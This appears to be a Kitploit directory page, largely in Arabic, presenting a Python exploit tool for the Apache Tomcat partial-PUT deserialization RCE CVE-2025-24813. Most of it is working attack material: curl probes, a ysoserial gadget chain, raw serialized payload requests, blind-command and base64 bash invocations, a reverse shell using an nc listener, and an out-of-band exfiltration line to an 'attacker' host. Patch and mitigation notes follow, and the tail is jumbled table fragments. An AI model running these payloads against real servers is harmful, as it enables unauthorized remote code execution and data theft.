Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-24813 — Python PoC يستغل CVE-2025-24813، وهو RCE عبر إلغاء تسلسل PUT الجزئي في Apache Tomcat. يكتشف تلقائيًا المتغيرات القابلة للاستغلال، ويدعم تنفيذ الأوامر بشكل أعمى والأصداف العكسية. | Kitploit
أدوات/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

Python PoC يستغل CVE-2025-24813، وهو RCE عبر إلغاء تسلسل PUT الجزئي في Apache Tomcat. يكتشف تلقائيًا المتغيرات القابلة للاستغلال، ويدعم تنفيذ الأوامر بشكل أعمى والأصداف العكسية.

عرض المستودع
منذ 16س 59دلم تتم المراجعة بعد

CVE-2025-24813 — Apache Tomcat Partial PUT Deserialization RCE

الخطورة: حرجة (CVSS 9.8) المصادقة مطلوبة: لا المتأثر: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 تم إصلاحه في: Tomcat 9.0.99 / 10.1.35 / 11.0.3


كيف يعمل

يدعم Apache Tomcat partial PUT (رفع مجزأ عبر Content-Range). عند وصول partial PUT، يقوم Tomcat بتخزين الجسم في ملف مؤقت تحت:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

إذا كان التطبيق مُهيأً بـ PersistentManager + FileStore في context.xml، يقرأ Tomcat تلقائيًا ملفات *.session من نفس دليل العمل ويقوم بـ deserializes لها لاستعادة الجلسات.

بدمج هذين السلوكين:

root@kitploit:~
PUT /<sid>.session        →  writes Java-serialized payload to work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat loads & deserializes the file  →  RCE

النقطة البادئة (.) في قيمة الكوكي تُفعّل البحث عن الجلسة بالمسار المطلق (المتغير B)، وهو المسار الذي يصل بشكل موثوق إلى الملف المُخزَّن.


سلسلة الـ Gadget

يستخدم هذا الـ PoC سلسلة CommonsCollections6 من ysoserial، والتي تعمل على Java 8–17 بدون أعلام @jdk.internal ولا تعتمد على sun.reflect.SerializationConstructorAccessorImpl.

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

التحديد (هل الهدف قابل للاستغلال؟)

الخطوة 1 — تأكيد Tomcat والإصدار

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

الخطوة 2 — التحقق من تفعيل partial PUT

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

الخطوة 3 — تشغيل الـ PoC (كشف تلقائي)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

شرح مخرجات الاستغلال

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
الحالةالمعنى
PUT 201تم تخزين الملف في دليل عمل Tomcat
PUT 409المسار محظور (تم رفض الاجتياز)
GET 200الجلسة غير موجودة / لم يتم إلغاء تسلسلها
GET 500تم تفعيل إلغاء التسلسل → RCE

الحمولة المُرمَّزة مقابل الخام — لماذا هذا مهم

الرفع هو تدفق Java مُسلسَل ثنائي خام — بدون ترميز URL. على عكس استغلالات معاملات استعلام HTTP، تذهب الحمولة في جسم الطلب عبر PUT، لذلك لا توجد طبقة ترميز URL للتعامل معها:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

يشير ترويسة Content-Range إلى رفع جزئي؛ يكتب Tomcat الجسم على القرص كما هو، مع الحفاظ على كل بايت من الحمولة المُسلسَلة.


الاستخدام

المتطلبات

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

أمر أعمى (المخرجات تذهب إلى الخادم فقط)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

قراءة المخرجات عبر ملف webroot

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

Reverse shell

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

يكتشف السكربت تلقائيًا المتغير A/B، ويتوقف بعد أول إصابة، ويطبع المسار الفائز حتى تعرف بالضبط ما الذي نجح.

جميع الخيارات

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

لماذا RCE أعمى؟ كيف تحصل على المخرجات

CVE-2025-24813 هو أعمى — يشغّل Runtime.exec() الأمر، لكن stdout/stderr يتم التخلص منهما؛ استجابة HTTP تعكس فقط ما إذا كان إلغاء التسلسل قد نجح (500) أم لا (200).

ثلاث طرق للحصول على المخرجات:

الطريقةالكيفية
ملف Webrootإعادة توجيه المخرجات إلى ملف في ، وجلبه عبر HTTP

الإصلاح / التخفيف

الترقيع (موصى به)

الفرعالمتأثرالمُرقَّع
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.34
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

حل بديل — تعطيل partial PUT

في $CATALINA_HOME/conf/web.xml، ابحث عن init-param الخاص بـ DefaultServlet واضبط:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

أو عطّل PersistentManager في context.xml إذا لم يكن مطلوبًا:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

التحقق بعد الترقيع

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

المراجع

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط.

تنزيل الأداة
/…/webapps/ROOT/
Reverse shellعلم --revshell — احصل على shell تفاعلي، وشغّل أي أمر مباشرة
DNS/OOB`curl http://attacker/$(id
10.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+